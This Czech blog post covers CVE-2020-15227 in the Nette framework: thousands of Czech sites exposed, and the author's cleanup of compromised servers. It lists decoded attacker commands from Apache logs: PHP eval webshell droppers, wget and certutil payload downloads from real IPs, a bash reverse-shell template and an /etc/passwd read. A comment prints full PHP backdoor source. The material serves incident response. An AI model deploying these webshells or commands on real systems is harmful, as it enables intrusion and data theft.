Titulek zní trošku bulvárně, ale plyne to z nástroje DNS crawler, který periodicky prochází domény druhé úrovně pod TLD .cz, sbírá data z DNS, webových a mailových serverů a umožňuje získaná data analyzovat. A právě z těchto dat plyne, že na více než 36 tisících doménách nějakým způsobem figuruje populární tuzemský framework Nette, umožňující provoz webových stránek či jiných webových aplikací. To je skvělá zpráva, pokud by se v tomto nástroji neobjevila první závažná zranitelnost po 13 letech…

Číslo 36 tisíc bylo uvedeno v článku na NIC.CZ i včetně důležitého závěru:

V současné chvíli se nám podařilo skrze data získaná DNS crawlerem identifikovat přes 36 tisíc českých domén, na kterých je dostupný web postaven na Nette frameworku. Bohužel však z těchto dat není možné zjistit konkrétní verzi frameworku. Je tedy velmi pravděpodobné, že ne všech 36 tisíc webů je zranitelností ohroženo a mnohé již byly aktualizovány na některou z opravených verzí. Nicméně z naší zkušenosti víme, že tyto webové technologie obvykle nebývají z různých důvodů pravidelně aktualizovány, někdy i mnoho let. V současnosti tak diskutujeme možnosti identifikace konkrétních webů, které jsou zmíněnou zranitelností ohroženy a možnosti oslovení jejich vlastníků.

Stručně řečeno, i já jsem záplatoval na třech různých webových serverech s křížkem po funuse s nelichotivým výsledkem: na všech už předtím došlo k zneužití této zranitelnosti! Takže pokud máte například firemní webové stránky na Nette frameworku, či nějakou jinou aplikaci, je potřeba to sakra rychle řešit (pokud se tak už nestalo), než z toho bude průšvih! Více v popisu chyby CVE-2020-15227.

Časovaná bomba?

Z detailnější analýzy mě vyplynulo, že si útočníci dělají patrně přípravu na budoucí útok tím, že si na webový server skrze zranitelnost dopraví soubory jako test2.php či test3.php s programovým kódem jako:

<?php @eval($_POST['passlincx']); ?>

Nemám jiné vysvětlení, než že to jsou „zadní vrátka“ k serveru do budoucna! Příkaz eval totiž spustí na serveru vše, oč ho útočník vzdáleně požádá a není náhodou, že se mu občas říká evil 🙂 Útočník tak může získat hesla, konfigurace, nastavení, vykrást citlivé informace a nebo prostě na web hodit hlášku HACKED. A to kdykoliv v budoucnu! Opět připomínám, že toto jsem viděl na VŠECH kompromitovaných strojích, které jsem řešil. Za sebe tak nemůžu hovořit o náhodě.

Ještě více technicky aneb co jsem použil v praxi a jak jsem k tomu dospěl

Způsob realice útoku nebudu popisovat, ale je velice jednoduchý a docvakne každému správci serveru, jakmile se bude přesvědčovat, zda k němu již došlo či ne. Následuje postup, který jsem použil já a mohl by se někomu hodit. Je jasné, že by to šlo „vytunit“ lépe a sfouknout to celé jedním vrzem, ale já to prostě dělal takhle i s ohledem na menší množství záznamů potvrzujících kompromitaci serverů.

Tenhle příkaz (Linux) projde starší (zkomprimované) logy Apache a pokud něco vypíše, znamená to, že zneužití chyby se nevyhnul ani daný server (místo .gz le použít i .log pro aktuální protokol):

find /var/log/apache2/ -name \*.gz -print0 | xargs -0 zgrep "nette.micro" | grep shell_exec

Pokud tenhle výstup vemete a zkopírujete například do služby regex101.com, můžete si pomocí reg. výrazu:

cmd=(.*) HTTP

„vysvítit“ problematickou část kódu, tedy shell kód, který se útočník na serveru snažil spustit (resp. skoro zcela určitě spustil, pokud nebylo Nette včas záplatováno). V sekci „match information“ lze výstup uložit například do CSV a tam dále vytřídit. Pak třeba použít textfixer.com na odstranění duplicit a dojít až k soupisu toho, co si všechno útočník na serveru pouštěl. V mém případě proběhlo všechno toto (co řádek, to útok):

echo%20%22%3C?php%20@eval(%5C$_POST%5B%27passlincx%27%5D)%20?%3E%22%20%3E%20test2.php
echo+%22%3C%3Fphp+%40eval%28%5C%24_POST%5B%27passlincx%27%5D%29+%3F%3E%22+%3E+test2.php
echo%20%22qwertasdfgzxcvb%22
echo+%22qwertasdfgzxcvb%22
echo%20GK5OxJaE
echo%20FRrNjp8Q
echo%20lYgCsO0m
echo%20Qb49jcKJ
echo%20VQajnghR
cat%20/etc/passwd
certutil%20-urlcache%20-split%20-f%20http://120.92.109.248/sa.exe
sa.exe
echo%20%27myhhdd%27
id
echo%20%22myhhokk%3C?php%20@eval(%5C$_POST%5B%27passlincx%27%5D)%20?%3E%22%20%3E%20test3.php%20%7C%7Cls
echo%20%22myhhokk%3C?php%20@eval(%5C$_POST%5B%27passlincx%27%5D)%20?%3E%22%20%3E%20test.php%00
wget%20http:/91.121.183.89:58080/mylinok2/badmin.jpg%20-O%20webconfig.txt.php%00
bash%20-i%20%3E&%20/dev/tcp/%27+lhost+%27/%27+lport+%270%3E&1
bash+-i+%3E&%2Fdev%2Ftcp%2F%27_lhost_%27%2F%27_lport_%270%3E=&1=
wget%20http://91.121.183.89:58080/mylinok2//badmin.jpg%20-O%20webconfig.txt.php
wget+http%3A%2F%2F91.121.183.89%3A58080%2Fmylinok2%2F%2Fbadmin.jpg+-O+webconfig.txt.php
echo%20%22myhhokk%3C?php%20file_put_contents(%5C$_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27//config.bak.php%27,base64_decode(%27PD9waHANCmZ1bmN0aW9uIGJ5cGFzcygpew0KCSR4ID0gIlwkX1BPIjsNCiAgICByZXR1cm4gImwoIi4keC4iU1RbJyI7DQp9DQpldmFsKCJldmEiLmJ5cGFzcygpLiJ4J10pOyIpOw==%27));?%3E%22%20%3E%20test3.php
echo+%22myhhokk%3C%3Fphp+file_put_contents%28%5C%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27%2F%2Fconfig.bak.php%27%2Cbase64_decode%28%27PD9waHANCmZ1bmN0aW9uIGJ5cGFzcygpew0KCSR4ID0gIlwkX1BPIjsNCiAgICByZXR1cm4gImwoIi4keC4iU1RbJyI7DQp9DQpldmFsKCJldmEiLmJ5cGFzcygpLiJ4J10pOyIpOw%3D%3D%27%29%29%3B%3F%3E%22+%3E+test3.php
wget%20http://91.121.183.89:58080/mylinok2//uladmin.jpg%20-O%20webconfigul.txt.php
wget+http%3A%2F%2F91.121.183.89%3A58080%2Fmylinok2%2F%2Fuladmin.jpg+-O+webconfigul.txt.php
wget%20http://91.121.183.89:58080/mylinok2//uladmin.jpg%20-O%20webconfigul.txt.php%7C%7Cid
wget+http%3A%2F%2F91.121.183.89%3A58080%2Fmylinok2%2F%2Fuladmin.jpg+-O+webconfigul.txt.php%7C%7Cid
echo%20%22myhhokk%3C?php%20@eval(%5C$_POST%5B%27passlincx%27%5D)%20?%3E%22%20%3E%20test2.php
echo%20%22myhhokk%3C?php%20@eval(%5C$_POST%5B%27passlincx%27%5D)%20?%3E%22%20%3E%20test2.php%00
echo+%22myhhokk%3C%3Fphp+%40eval%28%5C%24_POST%5B%27passlincx%27%5D%29+%3F%3E%22+%3E+test2.php
ifconfig

V kostce se pokoušeli útočníci o toto:

  • Spuštění ifconfig – útočník se dozví rozpoložení síťových adapterů serveru.
  • Eval() na x způsobů jsem již rozebíral – backdoor do budoucna – umožní útočníkovi „nevyléčený“ server kdykoliv ovládnout.
  • Pokus stažení a spuštění backdooru v souboru s příponou EXE (wget a sa.exe)! Tohle nemohlo vyjít, neboť šlo o Linux / Debian. Na Windows by to ale představovalo sakra problém!
  • Nasazení silně obfuskovaného PHP kódu, maskovaného v JPG souboru! Účel zatím neznám, možná podobný význam jako eval() záležitost.
  • Získání obsahu souboru /etc/passwd, tedy seznamu uživatelů. Tohle může / nemusí bolet. Záleží na užití serveru.

Co dělat, když už na serveru útočníci byli?

Na to těžko odpovědět. Záleží, k čemu server sloužil a zda jste schopni dosledovat dění především těch eval() záležitostí. To jestli byl eval() spuštěn (skrze soubory typu test2.php, test3.php v mém případě), dohledáte například v log souboru Apache, nicméně CO ten eval spustil, to už hůře. V mém případě naštěstí nebyl nikdy HTTP POST volán, pouze byla skrze HTTP GET ověřena existence zadních vrátek. Stačilo tak podobné soubory zlikvidovat. Jistotou je pochopitelně kompletní reinstalace serveru, opětovné vybuildování projektů, …


5 komentářů » for Tisíce českých webů je nutné záplatovat!
  1. Polda18 napsal:

    Možná bude můj dotaz znít hloupě, ale netýká se to třeba I redakčních systémů, jako je třeba WordPress nebo NamelessMC? To jsou redakční systémy, které používám. WordPress mám na osobních webových stránkách (doména třetího řádu, free hosting), NamelessMC jsem instaloval na web našeho Minecraft serveru.

  2. caracho napsal:

    Tohle je obsah toho obfuskoveneho PHP – takovy mensi backdoor. Silne obfuskovane, vypda jinak.

    error_reporting(0);

    $dlform=’FN:URL:‘;
    $ulform=’SP:‘;
    $renameform=’ON:NN:‘;
    $lpform=’DP:‘;
    $sfform=’DF:‘;

    if($_GET[‚act‘]==’dl‘) {
    echo($dlform);
    if($_SERVER[‚REQUEST_METHOD‘]==’POST‘) {
    file_put_contents($_POST[‚fn‘],file_get_contents($_POST[‚url‘]));
    }
    exit;
    }
    if($_GET[‚act‘]==’ul‘) {
    echo($ulform);
    if($_SERVER[‚REQUEST_METHOD‘]==’POST‘) {
    $sp = empty($_POST[‚sp‘]) ? ‚./‘ : $_POST[‚sp‘].’/‘;
    move_uploaded_file($_FILES[‚uf‘]’tmp_name‘], $sp.$_FILES[‚uf‘][‚name‘]);
    }
    exit;
    }
    if($_GET[‚act‘]==’rn‘ ) {
    echo(renameform);
    if($_SERVER[‚REQUEST_METHOD‘]==’POST‘) {
    rename($_POST[‚on‘],$_POST[‚nn‘]);
    }
    exit;
    }
    if( $_GET[‚act‘]==’gp‘) {
    echo(dirname(__FILE__));
    exit;
    }
    if($_GET[‚act‘]==’lp‘) {
    echo($lpform);
    if($_SERVER[‚REQUEST_METHOD‘]==’POST‘) {
    $dp = $_POST[‚dp‘].’/‘;
    $h = opendir($dp);
    while( ($fn = readdir($h)) !==false ) {
    if( is_dir($dp.$fn) ) {
    $t1.=’D ‚.$fn.“;
    } else {
    $t2.=‘  ‚.$fn.“;
    }
    }
    closedir($dp);
    echo($dp.“.$t1.$t2);
    }
    exit;
    }
    if($_GET[‚act‘]==’sf‘){
    echo($sfform);
    if($_SERVER[‚REQUEST_METHOD‘]==’POST‘) {
    $df = $_POST[‚df‘];
    echo(“.file_get_contents($df).“);
    }
    exit;
    }

  3. caracho napsal:

    wordpress framework nette nepouziva, ma vlastni. Nicmene je potreba se o nej starat a pravidlene ho aktualizovat ho. Najde se tam zavazna chyba co tyden/14 dni (a vcetne pluginu skoro kazdy druhy den).

  4. Štefan Haviar napsal:

    Bezpečnost bankovního účtu. V IT jsem laik, přesto mám takovouto zkušenost. 4.9. t.r. jsem si pořídil platební kartu s možností platitt internetové obchody. Kartu jsem aktivoval 16.9.
    Zaplatil jsem touto kartou 3x drobný nákup. Bohužel při kontrole „výpisu z účtu“ doručeného mi 8.10. jsem zjistil, že mi někdo můj účet tuneloval a vybral během posledního týdne září asi 2000. Kč. ve 4 položkách.
    Je tak mizerně zabezpečený internet proti bankovním pirátům, o kterých byla informace ve zpravojském telextu ČT. že je možné takto krást? Nejsem si vědom souhlasu k platbám z mého účtu k více než třem uvedeným platbam v částce asi 400. Kč. Svou kartu jsem během uvedené doby, tedy od aktivizace až po zjištění tunelu 8.10. nepůjčoval. Mohu dostat vysvětlení o bezpečnosti finančních transakcí při nákupech přes internet?Předem děkuji.

    • igi napsal:

      Ideálně, pokud do začátku pošlete detail těch transakcí jak je vidíte v bankovnictví (ideálně udělat foto obrazovky).

Napsat komentář

Vaše e-mailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *

*

Tato stránka používá Akismet k omezení spamu. Podívejte se, jak vaše data z komentářů zpracováváme..